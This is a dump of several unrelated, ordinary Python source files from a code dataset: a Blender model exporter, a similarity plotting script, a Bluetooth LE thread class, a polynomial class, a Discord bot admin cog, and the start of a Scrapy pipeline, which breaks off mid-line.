is None:\n raise ValueError(\"Failed to find a root bone\")\n\n return root\n\n\n class AnimInfoVar:\n def __init__(self):\n self.__data = {}\n\n def add(self, channel: int, timepoint: float, value: float) -> None:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n\n if timepoint not in self.__data.keys():\n self.__data[timepoint] = {}\n self.__data[timepoint][channel] = float(value)\n\n def get(self, timepoint: float, channel: int) -> float:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n\n return self.__data[timepoint][channel]\n\n def getExtended(self, timepoint: float, channel: int) -> float:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n\n try:\n return self.__data[timepoint][channel]\n except KeyError:\n requestedOrder = self.__timepointToOrder(timepoint)\n prevOrder = requestedOrder - 1\n if prevOrder < 0:\n raise RuntimeError(\"First keyframe need all its channels with a value.\")\n prevTimepoint = self.__orderToTimepoint(prevOrder)\n return self.get(prevTimepoint, channel)\n\n def iterTimepoints(self) -> iter:\n return iter(self.__getSortedTimepoints())\n\n def __getSortedTimepoints(self) -> List[float]:\n timepoints = list(self.__data.keys())\n timepoints.sort()\n return timepoints\n\n def __orderToTimepoint(self, order: int) -> float:\n assert isinstance(order, int)\n assert order >= 0\n return self.__getSortedTimepoints()[order]\n\n def __timepointToOrder(self, timepoint: float) -> int:\n assert isinstance(timepoint, float)\n return self.__getSortedTimepoints().index(timepoint)\n\n class BoneAnimInfo:\n def __init__(self):\n self.__data = {} # dict< var name, dict< time, dict > >\n\n def __getitem__(self, key) -> \"AnimationParser.AnimInfoVar\":\n return self.__data[key]\n\n def add(self, varName: str, channel: int, timepoint: float, value: float) -> None:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n assert isinstance(varName, str)\n\n if varName not in self.__data.keys():\n self.__data[varName] = AnimationParser.AnimInfoVar()\n self.__data[varName].add(channel, timepoint, value)\n\n def items(self):\n return self.__data.items()\n\n class BoneDict:\n def __init__(self):\n self.__bones: Dict[ str, AnimationParser.BoneAnimInfo ] = {}\n\n def __str__(self):\n return str(self.__bones)\n\n def __getitem__(self, boneName: str) -> \"AnimationParser.BoneAnimInfo\":\n try:\n return self.__bones[boneName]\n except KeyError:\n self.__bones[boneName] = AnimationParser.BoneAnimInfo()\n return self.__bones[boneName]\n\n def items(self):\n return self.__bones.items()\n\n def print(self):\n for name, info in self.__bones.items():\n print(name)\n for varName, data in info.items():\n print(\"\\t\", varName)\n for x in data.items():\n print(\"\\t\\t\", x)\n\n\n @classmethod\n def parseActions(cls, skeleton: dat.SkeletonInterface) -> List[dat.Animation]:\n animations = []\n\n for action in bpy.data.actions:\n action: bpy.types.Action\n anim = dat.Animation(action.name, skeleton)\n anim.m_tickPerSec = bpy.context.scene.render.fps\n\n bonedict: AnimationParser.BoneDict = cls.__makeBoneDict(action)\n\n for joint in anim.m_joints:\n joint: dat.JointAnim\n\n boneInfo : AnimationParser.BoneAnimInfo = bonedict[joint.m_name]\n\n try:\n poses: AnimationParser.AnimInfoVar = boneInfo[\"location\"]\n except KeyError:\n pass\n else:\n for tp in poses.iterTimepoints():\n x = poses.get(tp, 0)\n y = poses.get(tp, 1)\n z = poses.get(tp, 2)\n joint.addPos(tp, x, y, z)\n\n try:\n rotations: AnimationParser.AnimInfoVar = boneInfo[\"rotation_quaternion\"]\n except KeyError:\n pass\n else:\n for tp in rotations.iterTimepoints():\n # It always confuses me.\n w = rotations.get(tp, 0)\n x = rotations.get(tp, 1)\n y = rotations.get(tp, 2)\n z = rotations.get(tp, 3)\n joint.addRotation(tp, x, y, z, w)\n\n try:\n scales: AnimationParser.AnimInfoVar = boneInfo[\"scale\"]\n except KeyError:\n pass\n else:\n for tp in scales.iterTimepoints():\n x = scales.get(tp, 0)\n y = scales.get(tp, 1)\n z = scales.get(tp, 2)\n averageScale = (x + y + z) / 3\n joint.addScale(tp, averageScale)\n\n animations.append(anim)\n\n return animations\n\n @classmethod\n def __makeBoneDict(cls, action) -> BoneDict:\n bones = cls.BoneDict()\n\n for fcu in action.fcurves:\n boneName, varName = cls.__splitFcuDataPath(fcu.data_path)\n channel = fcu.array_index\n bone: AnimationParser.BoneAnimInfo = bones[boneName]\n for keyframe in fcu.keyframe_points:\n bone.add(varName, channel, keyframe.co[0], keyframe.co[1])\n\n return bones\n\n @staticmethod\n def __splitFcuDataPath(path: str):\n pass1 = path.split('\"')\n boneName = pass1[1]\n\n pass2 = pass1[2].split(\".\")\n varName = pass2[-1]\n\n return boneName, varName\n\n\nclass MaterialParser:\n @classmethod\n def parse(cls, blenderMat):\n bsdf = cls.__findPrincipledBSDFNode(blenderMat.node_tree.nodes)\n if bsdf is None:\n raise ValueError(\"Only Principled BSDF node is supported.\")\n\n material = dat.Material()\n\n node_baseColor = bsdf.inputs[\"Base Color\"]\n node_metallic = bsdf.inputs[\"Metallic\"]\n node_roughness = bsdf.inputs[\"Roughness\"]\n\n material.m_roughness = node_roughness.default_value\n material.m_metallic = node_metallic.default_value\n\n imageNode = cls.__findImageNodeRecur(node_baseColor)\n if imageNode is not None:\n material.m_diffuseMap = imageNode.image.name\n else:\n raise ValueError(\"Diffuse map must be defined.\")\n\n imageNode = cls.__findImageNodeRecur(node_metallic)\n if imageNode is not None:\n material.m_metallicMap = imageNode.image.name\n\n imageNode = cls.__findImageNodeRecur(node_roughness)\n if imageNode is not None:\n material.m_roughnessMap = imageNode.image.name\n\n return material\n\n @staticmethod\n def __findPrincipledBSDFNode(nodes):\n for node in nodes:\n if \"ShaderNodeBsdfPrincipled\" == node.bl_idname:\n return node\n return None\n\n @classmethod\n def __findImageNodeRecur(cls, parentNode):\n if hasattr(parentNode, \"links\"):\n for linked in parentNode.links:\n node = linked.from_node\n if \"ShaderNodeTexImage\" == node.bl_idname:\n return node\n else:\n res = cls.__findImageNodeRecur(node)\n if res is not None:\n return res\n if hasattr(parentNode, \"inputs\"):\n for nodeinput in parentNode.inputs:\n res = cls.__findImageNodeRecur(nodeinput)\n if res is not None:\n return res\n \n return None\n\n\nclass ModelBuilder:\n def __init__(self, removeUselessJoints: bool):\n self.__skeleton = AnimationParser.parseSkeleton()\n self.__animations = AnimationParser.parseActions(self.__skeleton)\n\n if removeUselessJoints:\n uselesses = None\n for anim in self.__animations:\n anim.cleanUp()\n animUselesses = anim.getSetOfNamesOfUselesses()\n if uselesses is None:\n uselesses = animUselesses\n else:\n uselesses = uselesses.intersection(animUselesses)\n\n jointIndexMap = self.__skeleton.removeJoints(uselesses)\n\n for anim in self.__animations:\n anim.removeJoints(uselesses)\n assert anim.isMatchWith(self.__skeleton)\n else:\n jointIndexMap = self.__skeleton.makeIndexMap()\n\n self.__units, self.__aabb = self.__parseRenderUnits(jointIndexMap)\n\n def makeBinary(self) -> bytearray:\n if len(self.__skeleton) > 30:\n raise RuntimeError(\"The number of joints ({}) cannot exceed 30.\".format(len(self.__skeleton)))\n\n data = bytearray()\n\n data += self.__aabb.makeBinary()\n data += self.__skeleton.makeBinary()\n\n data += byt.to_int32(len(self.__animations))\n for anim in self.__animations:\n data += anim.makeBinary()\n\n data += byt.to_int32(len(self.__units))\n for unit in self.__units:\n unit: dat.RenderUnit\n data += unit.makeBinary()\n\n return data\n\n def makeJson(self) -> dict:\n return {\n \"aabb\" : self.__aabb.makeJson(),\n \"render units size\" : len(self.__units),\n \"render units\" : [x.makeJson() for x in self.__units],\n \"skeleton interface\" : self.__skeleton.makeJson(),\n \"animations\" : [x.makeJson() for x in self.__animations],\n }\n\n def getImgNames(self):\n imgNames = set()\n\n for unit in self.__units:\n imgNames.add(unit.m_material.m_diffuseMap)\n imgNames.add(unit.m_material.m_roughnessMap)\n imgNames.add(unit.m_material.m_metallicMap)\n\n imgNames.remove(\"\")\n\n return imgNames\n\n @staticmethod\n def __parseRenderUnits(skeleton: Dict[str, int]):\n units = []\n aabb = dat.AABB()\n\n for obj in bpy.context.scene.objects:\n if not hasattr(obj.data, \"polygons\"): continue\n assert 1 == len(obj.data.materials)\n\n unit = dat.RenderUnit(obj.name)\n unit.m_material = MaterialParser.parse(obj.data.materials[0])\n\n for face in obj.data.polygons:\n lenVert = len(face.vertices)\n assert len(face.loop_indices) == lenVert\n if 3 == lenVert:\n vertIndices = (0, 1, 2)\n elif 4 == lenVert:\n vertIndices = (0, 1, 2, 0, 2, 3)\n else:\n raise NotImplementedError(\"Loop with {} vertices is not supported!\".format(lenVert))\n\n for i in vertIndices:\n vert: int = face.vertices[i]\n loop: int = face.loop_indices[i]\n\n vertex = obj.data.vertices[vert].co\n texcoord = (obj.data.uv_layers.active.data[loop].uv if obj.data.uv_layers.active is not None else (0.0, 0.0))\n if face.use_smooth:\n normal = obj.data.vertices[vert].normal\n else:\n normal = face.normal\n\n vertex: Tuple[float, float, float] = _fixVecRotations(vertex[0], vertex[1], vertex[2])\n normal: Tuple[float, float, float] = _fixVecRotations(normal[0], normal[1], normal[2])\n normal: Tuple[float, float, float] = _normalizeVec3(normal[0], normal[1], normal[2])\n\n boneWeightAndID = [(0, -1), (0, -1), (0, -1)]\n for g in obj.data.vertices[vert].groups:\n groupName = str(obj.vertex_groups[g.group].name)\n try:\n boneIndex = skeleton[groupName]\n except RuntimeError:\n continue\n else:\n boneWeightAndID.append((float(g.weight), boneIndex))\n boneWeightAndID.sort(reverse=True)\n\n unit.m_mesh.addVertex(\n vertex[0], vertex[1], vertex[2],\n texcoord[0], texcoord[1],\n normal[0], normal[1], normal[2],\n boneWeightAndID[0][1], boneWeightAndID[1][1], boneWeightAndID[2][1],\n boneWeightAndID[0][0], boneWeightAndID[1][0], boneWeightAndID[2][0],\n )\n\n aabb.resizeToContain(vertex[0], vertex[1], vertex[2])\n\n units.append(unit)\n\n return units, aabb\n\n\nclass EmportDalModel(Operator, ExportHelper):\n \"\"\"Export binary map file for Dalbargi engine.\"\"\"\n\n bl_idname = \"export_model.dmd\"\n bl_label = \"Export DMD\"\n\n filename_ext = \".dmd\"\n\n filter_glob = StringProperty(\n default = \"*.dmd\",\n options = {'HIDDEN'},\n maxlen = 255, # Max internal buffer length, longer would be clamped.\n )\n\n optionBool_copyImages = BoolProperty(\n name = \"Copy textures\",\n description = \"Copy textures to same path as exported model file.\",\n default = False,\n )\n\n optionBool_createReadable = BoolProperty(\n name = \"Create readable file\",\n description = \"Create a txt file that contains model info.\",\n default = False,\n )\n\n optionBool_removeUselessJoints = BoolProperty(\n name = \"Remove useless joints\",\n description = \"Remove all the joints without keyframes.\",\n default = False,\n )\n\n \"\"\"\n enum_example = EnumProperty(\n name = \"Example Enum\",\n description = \"Choose between two items\",\n items = (\n ('OPT_A', \"First Option\", \"Description one\"),\n ('OPT_B', \"Second Option\", \"Description two\"),\n ),\n default = 'OPT_A',\n )\n \"\"\"\n\n def execute(self, context):\n model = ModelBuilder(self.optionBool_removeUselessJoints)\n\n if self.optionBool_createReadable:\n readablePath = os.path.splitext(self.filepath)[0] + \".txt\"\n readableContent = model.makeJson()\n with open(readablePath, \"w\", encoding=\"utf8\") as file:\n json.dump(readableContent, file, indent=4, sort_keys=False)\n\n binData = model.makeBinary()\n fullSize = len(binData)\n finalBin = byt.to_int32(fullSize) + zlib.compress(binData, zlib.Z_BEST_COMPRESSION)\n with open(self.filepath, \"wb\") as file:\n file.write(finalBin)\n\n if self.optionBool_copyImages:\n imgNames = model.getImgNames()\n saveFol = os.path.split(self.filepath)[0].replace(\"\\\\\", \"/\")\n for name in imgNames:\n image = bpy.data.images[name]\n dstPath = saveFol + \"/\" + name\n image.save_render(dstPath)\n\n return {'FINISHED'}\n\n\ndef menu_func_export(self, context):\n # Only needed if you want to add into a dynamic menu\n self.layout.operator(EmportDalModel.bl_idname, text=\"Dalbaragi Model (.dmd)\")\n\ndef register():\n bpy.utils.register_class(EmportDalModel)\n bpy.types.TOPBAR_MT_file_export.append(menu_func_export)\n\ndef unregister():\n bpy.utils.unregister_class(EmportDalModel)\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_export)\n\n\nif __name__ == \"__main__\":\n register()\n bpy.ops.export_model.dmd('INVOKE_DEFAULT')\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"474552295","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport matplotlib as mpl\n\n# 自定义colormap\ndef colormap():\n return mpl.colors.LinearSegmentedColormap.from_list('cmap', ['#FFFFFF', '#98F5FF', '#00FF00', '#FFFF00','#FF0000', '#68228B'], 256)\n\n\n\nfrom sklearn.metrics import pairwise_distances\n\n\n\ndata_name=\"PAN\"\nmodel_name=\"doc2vec\" # IFIDF\nlabel_path=\"../../../data/regular_data/\"+data_name+\"_labels.txt\"\ngraph_path=\"../../../results/graphs/\"+data_name+\"_\"\nfigure_to_path=\"../../../results/figures/\"+data_name+\"_\"+model_name+\"_\"\n\n\n\n\n\n\ntraits=pd.read_table(label_path,header=None,sep=\" \")\nprint(traits[[1,2,3,4,5]])\n\ntrait_sims=1-pairwise_distances(traits[[1,2,3,4,5]],metric='cosine')\n\nsims=np.load(graph_path+\"sims_\"+model_name+\".npy\")\n\n\n\n\n\nx=sims #df_all[\"text_sim_tfidf_stopword_removed\"]\ny=trait_sims # df_all[\"traits_sim_cos\"]\nz=abs(x-y)\nxmin = x.min()\nxmax = x.max()\nymin = y.min()\nymax = y.max()\nfig, ax = plt.subplots(ncols=1)#, figsize=(7, 4))\nhb = ax.hexbin(x, y,gridsize=(40,20), bins='log', cmap=colormap())\n\n\n\nax.axis([xmin, xmax, ymin, ymax])\n\n\nplt.xlabel('texts similarity')\nplt.ylabel('traits similarity')\n\nax.set_title(\"Text similarity vs Traits similarity Density Map\\n\")\ncb = fig.colorbar(hb, ax=ax)\ncb.set_label('log(N)')\nplt.savefig(figure_to_path+\"TextSimVSTraitSimDensMap_doc2vec.jpg\")\nplt.show()\n\n","sub_path":"src/compare/doc2vec/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"470513807","text":"import threading\nimport BLE.ble_exceptions as exceptions\n\nfrom utils import LOG\nfrom termcolor import colored\nfrom BLE.ble_messages import BLERequest, BLEResponse\nfrom BLE.ble_wrapper import BLEWrapper\nfrom BLE.ble_utils import CONTROL_SERVICE, MAX_CONNECTED_DEVICES\n\n\n# NOTE: Mapped to make code a little more readable\n# --- RESPONSES ---\nNEW_DEVICES = BLEResponse.NEW_DEVICES\nNO_NEW_DEVICES = BLEResponse.NO_NEW_DEVICES\nDEVICE_MAX_EXCEEDED = BLEResponse.DEVICE_MAX_EXCEEDED\nREAD_DATA = BLEResponse.READ_DATA\nDONE = BLEResponse.DONE\nFAILED = BLEResponse.FAILED\n\n# --- REQUESTS ---\nCHECK_STATUS = BLERequest.CHECK_STATUS\nADD_DEVICE = BLERequest.ADD_DEVICE\nREMOVE_DEVICES = BLERequest.REMOVE_DEVICES\nREAD = BLERequest.READ\nWRITE = BLERequest.WRITE\nEXIT = BLERequest.EXIT\n\n\nclass BLEThread(threading.Thread):\n \"\"\" BLE communication thread\n\n This class waits for BLERequest order, performs it (blocking)\n and then goes back to sleep in wait for next order. Returns\n BLEResponse with data related to received order.\n Stores all connected devices.\n \"\"\"\n def __init__(self, orders_queue, response_queue):\n threading.Thread.__init__(self)\n self.setDaemon(True)\n\n self.BLEClient = BLEWrapper()\n self.response_queue = response_queue\n self.orders_queue = orders_queue\n self.thread_alive = True\n self.actions = {CHECK_STATUS: self.check_status,\n ADD_DEVICE: self.add_device,\n REMOVE_DEVICES: self.remove_devices,\n READ: self.read,\n WRITE: self.write,\n EXIT: self.exit}\n\n self._connected_devices = []\n\n def _assign_available_device_id(self):\n \"\"\" Search for available IDs based on already connected devices\n\n As add_device method won't search for new device if connected\n devices amount is high enough this method won't ever return\n already used ID (which could have happened otherwise (last ID)).\n\n **Params:**\n *None*\n **Return:**\n ID (int) from range 0 to MAX_CONNECTED_DEVICES\n \"\"\"\n IDs = [device['devID'] for device in self._connected_devices]\n for ID in range(MAX_CONNECTED_DEVICES):\n if ID not in IDs:\n break\n LOG(self, \"Assigning BLE ID: {}\".format(ID))\n return ID\n\n def _parse_device_data(self, device_data):\n \"\"\" Parse device data\n\n Prepare two dicts with data\n 1. Internal data with stored char objects\n 2. Response data, which contain device name, ID,\n characteristics names with order description and values.\n This data is sent to central device thread.\n\n **Params:**\n *device_data* - connected device data\n **Return:**\n (internal_data, response_data)\n \"\"\"\n device = device_data[0]\n internal_data = {'dev': device}\n response_data = device_data[1]\n\n response_chars_data = []\n service = device.getServiceByUUID(CONTROL_SERVICE)\n char_objects = service.getCharacteristics()\n for ID, char in enumerate(char_objects):\n internal_data[ID] = char\n char_data = self._parse_characteristic(char, ID)\n response_chars_data.append(char_data)\n response_data['chars'] = response_chars_data\n\n return internal_data, response_data\n\n def _parse_characteristic(self, char, ID):\n \"\"\" Parse characteristic data\n\n Gets characteristic orders (expected value and description)\n and name. Stores all data in dict.\n\n **Params:**\n *char* - characteristic object, which data eeds to be parsed\n **Return:**\n dict with parsed data\n \"\"\"\n descriptor = char.getDescriptors()[0]\n\n # NOTE: Workaround - cutting off '\\x00' char in the end\n # of the string\n raw_data = descriptor.read().decode('utf-8')[:-1]\n chunks = raw_data.split('||')\n char_name_raw = chunks.pop(0)\n char_name = char_name_raw.split(':')[1]\n\n orders = []\n for chunk in chunks:\n order = {}\n order_raw = chunk.split('|')\n order['value'] = order_raw[0].split(':')[1]\n order['desc'] = order_raw[1].split(':')[1]\n orders.append(order)\n\n response = {'ID': ID,\n 'name': char_name,\n 'orders': orders}\n return response\n\n def _handle_action_exception(self, exception, request):\n \"\"\" Handle all expected BLE exceptions\n\n **Params:**\n *exception* - exception object\n *action* - action, which was performed when exception occured\n **Return:**\n appropriate BLEResponse object\n **Exceptions**:\n all unexpected exceptions will be raised\n \"\"\"\n if all([request == ADD_DEVICE,\n type(exception) == exceptions.NoDeviceFound]):\n response = BLEResponse(request=request,\n response=NO_NEW_DEVICES)\n elif all([request == ADD_DEVICE,\n type(exception) == exceptions.MaxConnectedDevExceeded]):\n response = BLEResponse(request=request,\n response=DEVICE_MAX_EXCEEDED)\n elif all([request == READ,\n type(exception) == exceptions.ReadNotAllowed]):\n response = BLEResponse(request=request,\n response=FAILED,\n data='Reading this char is not allowed!')\n elif all([request == READ,\n type(exception) == exceptions.NoDeviceFound]):\n response = BLEResponse(request=request,\n response=FAILED,\n data='Incorrect device ID!')\n else:\n raise exception\n return response\n\n def _execute(self, order):\n \"\"\" Execute received order and send response \"\"\"\n request = order.request\n LOG(self, colored('Received order: ', 'yellow') +\n '{}'.format(order))\n try:\n action = self.actions[request]\n response = action(order.data) if order.data else action()\n except Exception as e:\n response = self._handle_action_exception(e, request)\n LOG(self, colored('Order response: ', 'yellow') +\n '{}'.format(response.request, response))\n self.response_queue.put(response)\n\n def run(self):\n \"\"\" Main thread loop \"\"\"\n LOG(self, colored(\"Starting BLE thread\", 'green'))\n while(self.thread_alive):\n order = self.orders_queue.get()\n self._execute(order)\n LOG(self, colored(\"Finished BLE thread\", 'green'))\n\n def check_status(self):\n \"\"\" Currently this method does not make anything\n\n In future this method may be used to check BLE communication thread\n status e.g. check antenna state\n \"\"\"\n return BLEResponse(request=CHECK_STATUS,\n response=DONE)\n\n def add_device(self, timeout=5):\n \"\"\" Look for new compatible device and connect to it if found\n\n **Params:**\n *timeout* - scan period in seconds\n **Return:**\n BLEResponse NEW_DEVICES with devices data\n **Exceptions:**\n *MaxConnectedDevExceeded* when max devices amount is already\n stored\n \"\"\"\n response = []\n available_new_dev_amount = \\\n MAX_CONNECTED_DEVICES - len(self._connected_devices)\n\n if available_new_dev_amount <= 0:\n raise exceptions.MaxConnectedDevExceeded\n\n devices_data = self.BLEClient.scan_and_connect_devices(\n timeout=timeout, connected_devices=self._connected_devices,\n max_new_connections=available_new_dev_amount)\n\n for device_data in devices_data:\n internal_data, response_data = \\\n self._parse_device_data(device_data)\n\n dev_id = self._assign_available_device_id()\n internal_data['devID'] = dev_id\n response_data['BLE_ID'] = dev_id\n\n self._connected_devices.append(internal_data)\n response.append(response_data)\n\n return BLEResponse(request=ADD_DEVICE,\n response=NEW_DEVICES,\n data=response)\n\n def remove_devices(self, device_ids=None):\n \"\"\" Disconnect device and remove from connected devices list\n\n **Params:**\n *devices* - list of devices IDs to disconnect. If no devices\n are given than all connected devices will\n be disconnected\n **Return:**\n BLEResponse DONE\n \"\"\"\n if not device_ids:\n device_ids = \\\n [device['devID'] for device in self._connected_devices]\n devices = [device['dev'] for device in self._connected_devices]\n else:\n devices_dicts = list(filter(\n lambda dev: dev['devID'] in device_ids,\n self._connected_devices))\n devices = list(map(\n lambda dev_dict: dev_dict['dev'], devices_dicts))\n\n self.BLEClient.disconnect_devices(devices)\n remaining_devices = list(filter(\n lambda dev_dict: dev_dict['dev'] not in devices,\n self._connected_devices))\n\n self._connected_devices = remaining_devices\n\n return BLEResponse(request=REMOVE_DEVICES,\n response=DONE,\n data=device_ids)\n\n def exit(self):\n \"\"\" Stops BLE thread loop, disconnects all devices\n\n **Return:**\n BLEResponse DONE\n \"\"\"\n self.thread_alive = False\n self.remove_devices()\n\n return BLEResponse(request=EXIT,\n response=DONE)\n\n def read(self, data):\n device = list(filter(lambda dev: dev['devID'] == data['BLE_ID'],\n self._connected_devices))\n if not device:\n raise exceptions.NoDeviceFound\n\n characteristic = device[0][data['char_ID']]\n response = self.BLEClient.read(characteristic)\n\n return BLEResponse(request=READ,\n response=READ_DATA,\n data=response)\n\n def write(self, data):\n device = list(filter(lambda dev: dev['devID'] == data['BLE_ID'],\n self._connected_devices))\n if not device:\n raise exceptions.NoDeviceFound\n\n characteristic = device[0][data['char_ID']]\n self.BLEClient.write(characteristic, data['data'])\n\n return BLEResponse(request=WRITE,\n response=DONE)\n","sub_path":"BLE/ble_thread.py","file_name":"ble_thread.py","file_ext":"py","file_size_in_byte":10868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"629575521","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 31 10:51:45 2014\r\n\r\n@author: Mly Driss\r\n\"\"\"\r\n\r\nimport copy\r\n\r\n\"\"\" Write a program to calculate the derivatives of polynomials.\"\"\"\r\n\r\nclass Polynom:\r\n \"\"\"class of polynoms defined as a list of factors & a list of powers.\"\"\"\r\n \r\n def __init__(self, polynom =[]):\r\n \"\"\"Create a Polynom instance with:\r\n \r\n polynom: dictionary with the power as key and factor as value.\r\n \"\"\"\r\n self._polynom = copy.deepcopy(polynom)\r\n self._order = len(polynom)-1\r\n \r\n def __str__(self):\r\n \"\"\"String representation of polynom.\"\"\"\r\n result = ''\r\n for i in range(self._order + 1):\r\n if self._polynom[i] == 0:\r\n next\r\n result = result + ' + ' + str(self._polynom[i]) + 'x^' + str(i)\r\n return result[3:]\r\n \r\n __repr__ = __str__\r\n \r\n def _derivate(self):\r\n \"\"\"Calculates the derivative of a polynom.\"\"\"\r\n result = Polynom([0]*self._order)\r\n for i in range(self._order):\r\n result._polynom[i] = self._polynom[i+1]*(i+1)\r\n return result\r\n\r\nif __name__ == '__main__':\r\n pol1 = Polynom([0, 3])\r\n d_pol1 = pol1._derivate()\r\n dd_pol1 = d_pol1._derivate()\r\n print(pol1, '\\n', d_pol1, '\\n', dd_pol1)\r\n \r\n ","sub_path":"python_training/ch02_project1.py","file_name":"ch02_project1.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"533964806","text":"# Copyright (c) 2020 tx3\r\n\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy\r\n# of this software and associated documentation files (the \"Software\"), to deal\r\n# in the Software without restriction, including without limitation the rights\r\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n# copies of the Software, and to permit persons to whom the Software is\r\n# furnished to do so, subject to the following conditions:\r\n\r\n# The above copyright notice and this permission notice shall be included in all\r\n# copies or substantial portions of the Software.\r\n\r\n# Credit to @AlexFlipnote for portions of this code! :))\r\n\r\nimport discord\r\nfrom discord.ext import commands\r\nimport os\r\nimport sys\r\nimport time\r\nfrom utils import permissions, default, http, dataIO\r\n\r\nclass Admin(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n self.config = default.get(\"src/config.json\")\r\n self._last_result = None\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def load(self, ctx, name: str):\r\n \"\"\" Loads an extension. \"\"\"\r\n try:\r\n self.bot.load_extension(f\"cogs.{name}\")\r\n except Exception as e:\r\n return await ctx.send(default.traceback_maker(e))\r\n await ctx.send(f\"Loaded extension **{name}.py**\")\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def unload(self, ctx, name: str):\r\n \"\"\" Unloads an extension. \"\"\"\r\n try:\r\n self.bot.unload_extension(f\"cogs.{name}\")\r\n except Exception as e:\r\n return await ctx.send(default.traceback_maker(e))\r\n await ctx.send(f\"Unloaded extension **{name}.py**\")\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def reload(self, ctx, name: str):\r\n \"\"\" Reloads an extension. \"\"\"\r\n try:\r\n self.bot.reload_extension(f\"cogs.{name}\")\r\n except Exception as e:\r\n return await ctx.send(default.traceback_maker(e))\r\n await ctx.send(f\"Reloaded extension **{name}.py**\")\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def die(self, ctx):\r\n \"\"\"uea\"\"\"\r\n await ctx.send('gn')\r\n time.sleep(1)\r\n sys.exit(0)\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def dm(self, ctx, user_id: int, *, message: str):\r\n \"\"\"dm someone for the trollz\"\"\"\r\n user = self.bot.get_user(user_id)\r\n if not user:\r\n return await ctx.send(f\"can't find mr **{user_id}**\")\r\n try:\r\n await user.send(message)\r\n await ctx.send(f\"messaged **{user_id}**\")\r\n except discord.Forbidden:\r\n await ctx.send(\"he don't wanna talk :neutral_face:\")\r\n\r\n @commands.group(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def change(self, ctx):\r\n if ctx.invoked_subcommand is None:\r\n await ctx.send_help(str(ctx.command))\r\n\r\n @change.command(name=\"playing\")\r\n @commands.check(permissions.is_owner)\r\n async def change_playing(self, ctx, *, playing: str):\r\n \"\"\"playing stats chang8r for whatever reason\"\"\"\r\n if self.config.status_type == \"idle\":\r\n status_type = discord.Status.idle\r\n elif self.config.status_type == \"dnd\":\r\n status_type = discord.Status.dnd\r\n else:\r\n status_type = discord.Status.online\r\n\r\n if self.config.playing_type == \"listening\":\r\n playing_type = 2\r\n elif self.config.playing_type == \"watching\":\r\n playing_type = 3\r\n else:\r\n playing_type = 0\r\n\r\n try:\r\n await self.bot.change_presence(\r\n activity=discord.Activity(type=playing_type, name=playing),\r\n status=status_type\r\n )\r\n dataIO.change_value(self.config, \"playing\", playing)\r\n await ctx.send(\"changed gamer status to \" + f'**{playing}**.')\r\n except discord.InvalidArgument as err:\r\n await ctx.send(err)\r\n except Exception as e:\r\n await ctx.send(e)\r\n\r\n @change.command(name=\"username\")\r\n @commands.check(permissions.is_owner)\r\n async def change_username(self, ctx, *, name: str):\r\n \"\"\"change username ;)\"\"\"\r\n try:\r\n await self.bot.user.edit(username=name)\r\n await ctx.send(f\"yea aight now i'm **{name}** :sob:\")\r\n except discord.HTTPException as e:\r\n await ctx.send(\"too many people might have this name, try something else.\")\r\n print(f\"exception at {e}\")\r\n\r\n\r\ndef setup(bot):\r\n bot.add_cog(Admin(bot))\r\n","sub_path":"src/cogs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"246438401","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport json\n#from scrapy import log\nimport requests\nimport random\nimport MySQLdb\nimport MySQLdb.cursors\nfrom twisted.enterprise import adbapi\nimport pymysql\nimport csv\nfrom padouban.settings import USER_AGENT\nheaders = {\n 'Referer':'http://www.douban.com/',\n 'User-Agent':USER_AGENT\n}\n\"\"\"\n#保存入CSV文件\nclass CSVPipeline(object):\n def __init__(self):\n self.f = open(\"CSV1.csv\", \"w\")\n self.writer = csv.writer(self.f)\n self.writer.writerow(['rank', 'cover_url', 'is_playable', 'id', 'types', 'regions', 'title', 'movie_url', 'release_date','actor_count', 'vote_count','score','actors','is_watched'])\n\n def process_item(self, item, spider):\n CSV_list = [item['rank'], item['cover_url'], item['is_playable'], item['id'],item['types'], item['regions'], item['title'], item['movie_url'],\n item['release_date'], item['actor_count'], item['vote_count'],\n item['score'],item['actors'],item['is_watched']]\n\n self.writer.writerow(CSV_list)\n return item\n def close_spider(self, spider):#关闭\n self.writer.close()\n self.f.close()\n\"\"\"\n#保存入JSON文件\n#class PadoubanPipeline(object):\n\n\n #def open_spider(self, spider):\n #self.file = open('dou1.json', 'w')\n #def process_item(self, item, spider):\n #content = json.dumps(dict(item), ensure_ascii=False) + '\\n'\n #self.file.write(content)\n #return item\n #def close_spider(self, spider):\n #self.file.close()\n\n#保存入MySQL数据库\nclass MySQLPipeline(object):\n def __init__(self):\n\n # connection database\n self.connect = pymysql.connect(host='localhost', 